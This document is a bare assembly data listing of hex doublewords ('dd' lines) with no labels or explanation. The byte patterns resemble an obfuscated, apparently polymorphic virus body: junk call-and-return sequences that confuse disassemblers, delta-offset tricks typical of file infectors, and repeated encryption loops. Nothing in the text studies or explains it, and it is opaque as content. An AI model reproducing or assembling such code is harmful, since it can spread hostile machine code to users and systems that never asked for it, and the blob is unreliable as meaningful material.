dd 10h, 48616B3Eh, 992FDF89h, 5F65F6C2h, 2286CCDDh, 108C0Fh
dd 0BE90000h, 0EC000000h, 2F5534F5h, 0A40981BFh, 0E95B6B32h
dd 14h, 6DBE944Bh, 0BFAC290Ah, 6C360164h, 0AA260EBBh, 64F81297h
dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
dd 56460000h, 8BB7C5C3h, 199D8B04h, 0FF05E90Dh, 0E91E9595h
dd 0FDB58905h, 0B905E901h, 0CB3h, 37EDBB66h, 0B7FCE183h
dd 6AFC8Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
dd 52420000h, 0D98BEDC3h, 9D8BC02Bh, 5E93311h, 75A1F781h
dd 0D22B2B5Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 17h, 21C35343h, 0F6EC901h, 33ADD9B7h, 3E8D1C2h, 4E983D0h
dd 6AF475h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
dd 50400000h, 50E101C3h, 89DA8B5Ah, 0E91D8D9Dh, 880D05h
dd 9D8B0000h, 5E90C15h, 2655958Bh, 6A05E9h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 87828C3h
dd 0CA9019AFh, 8DBB66C4h, 58D8B7Bh, 5005E908h, 188BC28Bh
dd 188BC103h, 0E8D1C18Bh, 188BC203h, 55006A58h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 60F985C4h
dd 235D9589h, 0BD8B05E9h, 5E90EFDh, 398D3161h, 8305E918h
dd 0E91CF1BDh, 840F0005h, 7Eh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ah, 0E4C35040h, 1AB5AA0Ch, 0B8880Bh
dd 89000000h, 0E921DD9Dh, 6D8D8D05h, 6A05E94Eh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
dd 5C80C357h, 0FFF98B66h, 55006AE1h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0BD8B9D1Bh
dd 5E92EE1h, 0C1BD8Bh, 0BD8305E9h, 5E9163Dh, 6840F00h
dd 0BF000005h, 63895A4Eh, 836FE380h, 0E9163DBDh, 840F0105h
dd 50Ch, 0FE9h, 27D09B00h, 6D547945h, 0A3D09778h, 0A17E19B5h
dd 163DBD83h, 0F0305E9h, 4B586h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0DF267DACh
dd 1D9400E2h, 9D319B39h, 5E9314Dh, 56006A60h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 390CE9A0h
dd 23DDBF66h, 9499C9BBh, 0D98C6625h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 15h, 0C35242h, 6810F07h, 31000000h
dd 0E91DC98Dh, 26CB8105h, 8044F145h, 6A04E1h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0F01375C3h
dd 8DDFF79Ah, 0BD8970ADh, 5E912ADh, 2F999D8Bh, 0C90A05E9h
dd 158840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 150424h, 50400000h, 8B1279C3h, 0E9286985h, 50006A05h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
dd 5427693Fh, 8B96E380h, 0E931CDBDh, 61853305h, 6A05E90Eh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h
dd 40000000h, 4183C350h, 89FA8B50h, 6A2404h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 180424h, 56460000h, 213A2FC3h
dd 6A43E0h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Ah, 0E8C35343h, 0C83B9DF7h, 616843E2h, 0E8FCE300h
dd 10h, 0B5F692B4h, 2459909Eh, 4C4B8793h, 9856C18Ah, 0BE8h
dd 0BC706700h, 94D2B5D2h, 5E47EFE7h, 5F5B5F50h, 9E240481h
dd 0F033C03h, 0A8Dh, 0BF0F6000h, 190ABED7h, 0FF616A7Eh
dd 0E9292D95h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1904h, 0C3564600h, 40906F91h, 8166FEDAh
dd 892CA8C7h, 0ECBACE85h, 56006A05h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0E98AFD36h
dd 213h, 10ADB531h, 858B05E9h, 5ECBAC6h, 0E855006Ah, 3
dd 5DC35D20h, 4246C89h, 4244481h, 15h, 0A5C35545h, 0C1B589BDh
dd 2B05E902h, 0E90C09BDh, 0C7F805h, 18h, 0E852006Ah, 3
dd 5AC35A20h, 4245489h, 4244481h, 18h, 4FC35242h, 98C6702h
dd 13E9h, 0CC87BE00h, 0C41E5F50h, 6388631Ch, 993E69D4h
dd 1D424CA3h, 0BACAB58Bh, 0D38005ECh, 39858B3Ch, 0F05E92Fh
dd 686h, 5DBD8B00h, 8905E90Fh, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 693B5CD4h
dd 0E18D894Bh, 8B05E92Ah, 0E9286985h, 0A5BD2905h, 8905E910h
dd 0E90AAD9Dh, 4468905h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Ah, 9EC35141h, 40C24B1Dh, 9D8B5F1Ch, 5E9264Dh
dd 0DE8B6650h, 6A243489h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 18042444h, 45000000h, 0ECCFC355h, 0F94F54Ch
dd 86h, 0C6B5FF00h, 6A05ECBAh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 18042444h, 45000000h, 3170C355h, 8BCD1675h
dd 36268FEh, 5160FAFEh, 0E858DF8Bh, 13h, 662C3B31h, 0C3D2537h
dd 55A1672Dh, 4DD0210Ah, 0E81974F0h, 0Bh, 0AAF878F8h, 22369F09h
dd 5F323DFBh, 481615Ah, 21009D24h, 0FB8B6605h, 8D64C380h
dd 0ECBACE85h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1B04h, 0C3524200h, 50D2791Bh, 0C8BFA025h
dd 1E6DBD8Bh, 669005E9h, 5050FB8Bh, 0D98B6652h, 12E8310Fh
dd 0DF000000h, 0E3E0423h, 9EE75DB3h, 52152892h, 66EF60C6h
dd 0EB57BF00h, 5A5F53B5h, 6A9058h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 150424h, 56460000h, 66EE93C3h, 0FF5008BFh
dd 0E9292D95h, 0E59D8B05h, 6105E905h, 85C7FB8Bh, 5E9163Dh
dd 3, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h
dd 0F1C35343h, 0F81E2B24h, 0CEBD83E0h, 5ECBAh, 54840Fh
dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
dd 53430000h, 989D42C3h, 0A0228DF2h, 0F88B91D2h, 2B718D89h
dd 3EE905E9h, 6A000000h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1B042444h, 41000000h, 0ED49C351h, 2018FD0Ch
dd 30500AA6h, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h
dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h
dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
dd 8B00EBE7h, 0ADBD01C0h, 0F05E91Dh, 6AD9B7h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 150424h, 53430000h, 83C0ADC3h
dd 0E9163DBDh, 850F0305h, 3C7h, 5318589h, 0BD8305E9h, 5ECBACEh
dd 0B4840F00h, 6A000003h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 17042444h, 47000000h, 26DDC357h, 0B5FFE03Fh
dd 5ECBACEh, 2B7595FFh, 9D8B05E9h
dd 5E932F5h, 0BAC2B58Bh, 55B705ECh, 106C7h, 0BF660001h
dd 895088BEh, 0B602434h, 0E9170985h, 5CD8BB05h, 0FF612077h
dd 0ECBACEB5h, 0DB58905h, 0FF05E902h, 0E92B4D95h, 0A98D0105h
dd 8B05E917h, 0ECBAC2B5h, 56006A05h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 44E66D82h
dd 0B8F2256Ah, 0BD8905EDh, 5E905F9h, 0FAF38166h, 0DD858BF1h
dd 6A05E90Fh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1A042444h, 46000000h, 6194C356h, 0A4DBA623h, 959D0334h
dd 8905E903h, 0C486h, 0C1952900h, 8B05E926h, 0E9265595h
dd 57006A05h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h
dd 0C3574700h, 217CDDCFh, 4C549212h, 0BB66DA5Dh, 7BBEDF9h
dd 8330F721h, 6A04C2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 140424h, 55450000h, 9D8BE6C3h, 5E91DFDh, 6880FF5h, 89000000h
dd 0E91DAD9Dh, 20508905h, 0D602BB66h, 0D055858Dh, 6A05ECh
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
dd 0D1A80CC3h, 0D6C50C3h, 0BDB58952h, 5B05E90Eh, 895ED380h
dd 0B886h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1504h, 0C3554500h, 6A7F92h, 0BACEB5FFh, 4BF05ECh, 0FF0BF93Ah
dd 0E900AD95h, 11E905h, 37030000h, 0E67CAC98h, 9CA1BC35h
dd 0CA94F719h, 500E20B0h, 4830Fh, 60510000h, 34895B61h
dd 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h
dd 0C3524200h, 8BEE6CDBh, 0E92BC1BDh, 0CEB5FF05h, 6A05ECBAh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h
dd 40000000h, 0F797C350h, 0AE9h, 0B463C00h, 15811334h
dd 0FFC49E41h, 0E9323195h, 0E98D0105h, 8305E92Ah, 0E92AB1BDh
dd 840F0005h, 48h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Dh, 0BEC35040h, 0F5790434h, 3A97029Fh, 0E86096F9h
dd 0Eh, 60755381h, 0E8175784h, 14F799AAh, 0F18A06F8h, 8B50615Ah
dd 8D3196DAh, 5E917E9h, 0BACEB5FFh, 6A05ECh, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0F4401C3h
dd 0DE8B3720h, 2F6195FFh, 6A05E9h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 180424h, 53430000h, 0F43F9AC3h, 0B5FFF059h
dd 5ECBACEh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Ch, 48C35343h, 12A0627Ch, 658070DBh, 6219D89h, 0DF8105E9h
dd 7468DE0Bh, 2DC595FFh, 9D0B05E9h, 5E92CC9h, 3FDBD83h
dd 0F0205E9h, 5B84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1504h, 0C3564600h, 9D8B4F73h, 5E905FDh, 3055858Bh
dd 6A05E9h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
dd 56460000h, 0DE3AEAC3h, 8880Fh, 8B560000h, 0E90219BDh
dd 0C65B05h, 0FE8B6600h, 27A985C7h, 5E9h, 6A0000h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
dd 15F54FC3h, 0FD1DB01Dh, 0E9EA313Fh, 0FFFFF31Bh, 8BD88B66h
dd 58531C1h, 8D05E92Dh, 0E921E585h, 52006A05h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 4D68E934h
dd 665029F8h, 905BDF8Bh, 5E8h, 0DA72BC00h, 0BB66A108h
dd 505B42F6h, 749581BFh, 6A905Fh, 1480BF66h, 9589006Ah
dd 5E91679h, 5984858Dh, 858905EDh, 5E90E91h, 6A05C083h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h
dd 42000000h, 7FBCC352h, 0CE8h, 8FC78800h, 354D7FBAh, 96BC9451h
dd 0FDBD8B94h, 5F05E904h, 0D189BB50h, 4891A06h, 0D58A6024h
dd 6A006A61h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 14042444h, 41000000h, 6071C351h, 0AE8F9h, 0BAC20000h
dd 2D78F3B4h, 0EFCB69BBh, 5FF9B70Fh, 0F8D78061h, 0BB66006Ah
dd 95FF977Fh, 5E90AA1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 15h, 0E9C35747h, 0BF8D8D5Dh, 0FF05ECADh, 0D1B501D1h
dd 8305E921h, 0E901BDBDh, 850F0105h, 85h, 0E850006Ah, 3
dd 58C35820h, 4244489h, 4244481h, 14h, 56C35040h, 76ADEF81h
dd 26A60EAh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 14h, 70C35545h, 0FC8A5FB7h, 52605190h, 615B5659h, 8B90505Bh
dd 0E90AA9BDh, 41858905h, 0FF05E916h, 0E900AD95h, 50006A05h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
dd 601CD3F3h, 0B70FCAE5h, 0CA4E9F9h, 0E80000h, 5D000000h
dd 598EED81h, 7E805EDh, 27000000h, 0D932F227h, 5E95FC0h
dd 0E2000000h, 0E57BB00Bh, 8DFE8A5Fh, 0EC904B85h, 51006A05h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
dd 973238D3h, 915BD2Bh, 505005E9h, 0FF88B52h, 89585A31h
dd 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
dd 50400000h, 0A095BFC3h, 6E177D8Fh, 6600B7EDh, 0B466CB81h
dd 35FF64h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 16042444h, 43000000h, 0F4A0C353h, 2850F18h
dd 8B000000h, 0B880FF8h, 0F000000h, 582h, 0F7816600h, 8964029Fh
dd 25h, 0E781F500h, 13A1B6F0h, 68985FFh, 0F38105E9h, 3400606Dh
dd 6AFF6Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
dd 50400000h, 88017EC3h, 0DA8B6641h, 31D5B5FFh, 6A05E9h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
dd 807FD7C3h, 0BD31279Ah, 5E930C9h, 7C995FFh, 0E0E905E9h
dd 0F000000h, 58Eh, 0CEE6BF00h, 0B07127h, 816670E6h, 0E4CCCEDFh
dd 0F613C71h, 0C283h, 0D3816600h, 0B60FA9BFh, 0B70F51C8h
dd 6BA5BFBh, 89000000h, 0E91EAD95h, 0FC18B05h, 68Eh, 0E5958900h
dd 0F05E903h, 0E8C1FFB7h, 39BD8B04h, 6605E90Dh, 0BE9E2F7h
dd 1C000000h, 0DE0BC045h, 29B74385h, 0C82B24F7h, 96ACBB66h
dd 32699D8Bh, 0D18B05E9h, 2B39BD0Bh, 2E905E9h, 8A000000h
dd 0D5858BDDh, 8B05E910h, 7C083D8h, 27F19D8Bh, 0C08305E9h
dd 0FAB70F00h, 830FD03Bh, 0Bh, 17E19D8Bh, 38E905E9h, 8B000000h
dd 0E926BD8Dh, 8D895305h, 5E90AE5h, 1E1835Fh, 21840Fh
dd 85010000h, 5E9021Dh, 26BDA583h, 89FE05E9h, 0E910D595h
dd 0FAB70F05h, 2D119D8Bh, 0E905E9h, 8D000000h, 0ECEB01B5h
dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h
dd 0C3554500h, 65BD8B8Eh, 6A05E91Eh, 96D78100h, 0E906BEFBh
dd 14h, 868CAE6Fh, 97F3E1E2h, 5AA88FA5h, 0FE33CF27h, 365842E9h
dd 1E9595FFh, 6A05E9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 190424h, 57470000h, 33F1ACC3h, 0B9C5ED78h, 8E5h, 2A799589h
dd 0E18305E9h, 53006AFCh, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1B04h, 0C3534300h, 717F0EB2h, 34DAD632h
dd 6AFCF98Bh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
dd 0AD68C357h, 11E960h, 0EE40000h, 103C8F79h, 4FFF5504h
dd 0BCF0854Dh, 89B9C752h, 0E931A59Dh, 0B86105h, 6A000000h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h
dd 45000000h, 8C01C355h, 716FF863h, 2B28B782h, 53006AD2h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
dd 0F930DBD2h, 0C233AD7Ah, 0D003E8D1h, 7504E983h, 56006AF4h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
dd 72BFCA8Dh, 0FD9D8B8Bh, 0D05E907h, 88h, 0E855006Ah, 3
dd 5DC35D20h, 4246C89h, 4244481h, 18h, 0D0C35545h, 1C7DB200h
dd 118D0Fh, 0CE90000h, 74000000h, 14BAA2C6h, 0B789D0FDh
dd 8997871Fh, 0E9289D85h, 55958B05h, 6A05E926h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
dd 0B92EC351h, 27E35307h, 0BB664F3Eh, 8D8BC3C9h, 5E90805h
dd 66C78166h, 0F8B70FD9h, 8BC28B50h, 8BC10318h, 0D1C18B18h
dd 8BC203E8h, 0F88B5818h, 6AFA8Bh, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 180424h, 53430000h, 0DAA226C3h, 0BF0F1E58h
dd 8B0F60FFh, 1, 0F6BF66F5h, 0BD8361A4h, 5E91CF1h, 9A840F00h
dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1A042444h, 47000000h, 523AC357h, 0D361E4E5h, 11E96Ah
dd 1CFE0000h, 0B79B4FBDh, 0D8941D11h, 5A6A33FBh, 81FC3BE1h
dd 0F98F5BDFh, 0B876h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 190424h, 57470000h, 0DC77F8C3h, 0F58E5BEh
dd 683h, 70F38100h, 8D64CB26h, 0E94E6D8Dh, 55006A05h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
dd 0C8F83675h, 0B70FE1FFh, 3DBD83D8h, 5E916h, 31F840Fh
dd 9D310000h, 5E90695h, 163DBD83h, 0F0105E9h, 32784h, 0AE800h
dd 2C740000h, 14668B89h, 364F82D9h, 12E9h, 0EC8CDC00h
dd 0C776B29Bh, 0D42F64DDh, 0C60F3AC5h, 5B6084DBh, 104DB501h
dd 0BD8305E9h, 5E9163Dh, 0B7860F03h, 81000002h, 0C3154ACBh
dd 10E8604Fh, 24000000h, 12C07615h, 5F16F73Bh, 0FCCF484h
dd 0BBA160B8h, 5F4C416Fh, 0D98C665Fh, 4E180F8h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0E8C35242h, 0FD5ADEC6h
dd 21BD0B46h, 8B05E92Bh, 0E90CB5BDh, 0FC90A05h, 0EF84h
dd 0F98D8900h, 8B05E900h, 0E9286985h, 844BB05h, 85330711h
dd 5E90E61h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 16h, 0F5C35343h, 0F9001F8h, 84h, 0BF665000h, 6A9021DFh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h
dd 43000000h, 8964C353h, 6D66F2D3h, 9A883442h, 81006AF8h
dd 5520F8EBh, 6870F4Dh, 8B000000h, 0E90031BDh, 1F86805h
dd 12E93486h, 0B9000000h, 8B616C04h, 0BA2DF1FEh, 5B8BAC15h
dd 0C95E453Ah, 2434817Dh, 34990207h, 12058D89h, 95FF05E9h
dd 5E9292Dh, 21C9BD8Bh, 858905E9h, 5ECBACEh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0EBC35343h, 4830F52h
dd 66000000h, 8B6488BFh, 0E927C5BDh, 0F4E905h, 0BD230000h
dd 5E93109h, 0BAC6858Bh, 0E78005ECh, 1800C7FEh, 8B000000h
dd 0E932A9BDh, 0CAB58B05h, 6A05ECBAh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 19A0C352h
dd 0FF0033h, 2F39858Bh, 0BD2B05E9h, 5E929F1h, 89DF8B66h
dd 64CF8006h, 8BFB8B66h, 0E9286985h, 896DB305h, 0F5560446h
dd 0FB8B505Bh, 66243489h, 0FF397FBFh, 0ECBAC6B5h, 52006A05h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
dd 8FF5E9CBh, 50AF8978h, 6269D5BBh, 91B52931h, 6805E905h
dd 0AA754874h, 481FE8Bh, 0A9BB8B24h, 8B0F55h, 8D000000h
dd 0ECBACE85h, 3D853105h, 5005E92Bh, 0F240489h, 28Ah, 0FFDE8B00h
dd 0E9292D95h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1504h, 0C3524200h, 8B61A5BBh, 3D85C7DEh
dd 305E916h, 0F000000h, 484h, 91BB6600h, 0CEBD8387h, 5ECBAh
dd 58840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1A0424h, 52420000h, 9E8AE3C3h, 54C1C5Fh, 0CC5B501h
dd 46E905E9h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 15042444h, 45000000h, 16AEC355h, 109D9589h
dd 296005E9h, 0E92EFD85h, 30506105h, 4400110Ch, 0E8C10111h
dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
dd 11043001h, 7504E983h, 8B00EBE7h, 50006AC0h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1D04h, 0C3504000h, 62356433h
dd 0DF11E99Fh, 0F50EBA7h, 68Bh, 0E19D8900h, 5B05E917h
dd 28319509h, 6A05E9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 140424h, 55450000h, 0BF0F19C3h, 3DBD83DEh, 305E916h
dd 3AB850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 150424h, 52420000h, 0F2BBCC3h, 688h, 0D19D8B00h, 8905E900h
dd 0E910C585h, 0CEBD8305h, 5ECBAh, 36F840Fh, 85890000h
dd 5E92FE5h, 0BACEB5FFh, 6A05ECh, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 140424h, 52420000h, 0BD2B16C3h, 5E90CC5h
dd 2B7595FFh, 6A05E9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 190424h, 55450000h, 30F0C9C3h, 66B6F824h, 0F42F0BFh
dd 0B58BF9B7h, 5ECBAC2h, 6C70BB7h, 10001h, 22998D09h, 609605E9h
dd 1524B966h, 12E9h, 857A5A00h, 0BCB0F6E7h, 1A59AE92h
dd 333945E7h, 61B8AB20h, 52506050h, 310F6160h, 310F5250h
dd 585A585Ah, 6A9661h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 190424h, 57470000h, 10D608C3h, 0F3A459Eh, 686h, 4DBD8B00h
dd 8905E928h, 0E915E595h, 0CEB5FF05h, 2905ECBAh, 0E903A9BDh
dd 4D95FF05h, 8105E92Bh, 0BE645CCFh, 0C2B58B66h, 6A05ECBAh
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h
dd 42000000h, 8F53C352h, 2CB388F6h, 0CE9h, 0A5091000h
dd 668C0E41h, 883F3E97h, 0DD858BBFh, 6A05E90Fh, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
dd 0ECC7C350h, 0BE78166h, 0C4868976h, 0F000000h, 0D781D8BFh
dd 2FE4B490h, 2655958Bh, 6A05E9h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 150424h, 56460000h, 89A3EAC3h, 0E90F55BDh
dd 4C28305h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 16h, 7CC35545h, 9D8B996Ch, 5E9068Dh, 2BED8D89h, 508905E9h
dd 52006A20h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h
dd 0C3524200h, 858D2880h, 5ECD055h, 4A18D31h, 868905E9h
dd 0B8h, 11E993B7h, 4000000h, 0F642E7D1h, 56B100E5h, 4ADAE448h
dd 0D43FBC8h, 8589006Ah, 5E903BDh, 0D0F7EF81h, 0B5FF63ADh
dd 5ECBACEh, 0F9D9B70Fh, 0AD95FFh, 6A05E9h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 768D1EC3h
dd 8BCC3068h, 0F96EE3Bh, 38Fh, 0FB8B6600h, 3799BF50h, 0E9967EDCh
dd 5, 8BFC7EDAh, 0CEB5FF8Bh, 6A05ECBAh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0EC04C351h
dd 6D150533h, 323195FFh, 816605E9h, 832FD4CBh, 0E92AB1BDh
dd 840F0005h, 44h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 15h, 53C35343h, 13E903h, 0A17A0000h, 0C9BBCD72h
dd 0B57F3250h, 669A895Dh, 0E4A52A05h, 0E4CF8021h, 893FB750h
dd 0BD8B2434h, 5E90809h, 0BACEB5FFh, 0BE905ECh, 80000000h
dd 4725C1EBh, 0AF2B2354h, 95FF70E2h, 5E92F61h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0AC35545h, 266915Ch
dd 0BD8BA9D8h, 5E903D9h, 2698589h, 0B5FF05E9h, 5ECBACEh
dd 46E5EF81h, 0CCBF3C0Bh, 0FF02A244h, 0E92DC595h, 7EDABB05h
dd 0B70F7F85h, 0FDBD83D9h, 205E903h, 12840Fh, 8D290000h
dd 5E90F09h, 3055858Bh, 0C605E9h, 0F8B70F00h, 27A985C7h
dd 5E9h, 8B660000h, 0F486E9FBh, 6AFFFFh, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 190424h, 51410000h, 1AF36EC3h
dd 96E98D9h, 0E90901B5h, 3EBF6605h, 6AC18BF8h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
dd 0E12C350h, 858DA59Fh, 5E921E5h, 0DE8h, 0C6E3A400h, 1307F957h
dd 67A6B74Ah, 9D8B2050h, 5E90619h, 0EE9905Bh, 2E000000h
dd 0B6035D37h, 4179F87Dh, 0AA622E9Ah, 8F0F50CBh, 6, 8B616060h
dd 6A9061F2h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1A042444h, 47000000h, 0F66C357h, 64B51432h, 198D8987h
dd 0F05E90Dh, 9589F8B7h, 5E90BADh, 8D0F006Ah, 6, 3F98589h
dd 6A05E9h, 17858589h, 858D05E9h, 5ED683Dh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0A2C35040h, 0EE9h
dd 32A2CE00h, 0DD1535A9h, 138DBDFAh, 83D16008h, 0BD8B05C0h
dd 5E92BC1h, 0DA8B6650h, 6A240489h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 476DC355h
dd 0F19D8B60h, 8905E905h, 0E907999Dh, 0BD8B6105h, 5E92955h
dd 13E8006Ah, 9000000h, 0EAA7F8EBh, 0DCA87175h, 2B255D79h
dd 0C90DDAB9h, 5FF57842h, 0FFF9006Ah, 0E90AA195h, 50006A05h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
dd 0BF8D8D8Fh, 6A05ECADh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 18042444h, 45000000h, 0EB3DC355h, 8929E8ECh
dd 0E930F5BDh, 8BD1FF05h, 0BDBD83F9h, 105E901h, 94850Fh
dd 9D8B0000h, 5E92951h, 6A026Ah, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 140424h, 53430000h, 9BFB7C3h, 0F84CF41Dh
dd 0DE8B5350h, 2404895Fh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 19h, 8EC35040h, 0B6B44FF0h, 0FFF88AA8h, 0E900AD95h
dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h
dd 0C3564600h, 39EA62Ch, 0F604369h, 0E84h, 9E900h, 53890000h
dd 5031A3Dh, 0B1B935A5h, 0C8E96114h, 0E800000Dh, 0
dd 47ED815Dh, 0E805ED68h, 0Eh, 0BC5C72Eh, 0CACB6EADh, 5E4B90Dh
dd 0E7B33CF0h, 57006A5Fh, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1704h, 0C3574700h, 8637B1E3h, 7810Fh, 66570000h
dd 0BCF7D381h, 4B858D5Bh, 8105EC90h, 8E48FAE7h, 8B66906Eh
dd 880F50FBh, 19h, 0D0B96660h, 0EE905h, 48B40000h, 0E3DBC3E2h
dd 70A39D2Fh, 62D9B458h, 1BBF9061h, 64759E9Fh, 35FFh, 9D010000h
dd 5E93299h, 2ABD9D8Bh, 896405E9h, 25h, 50006A00h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
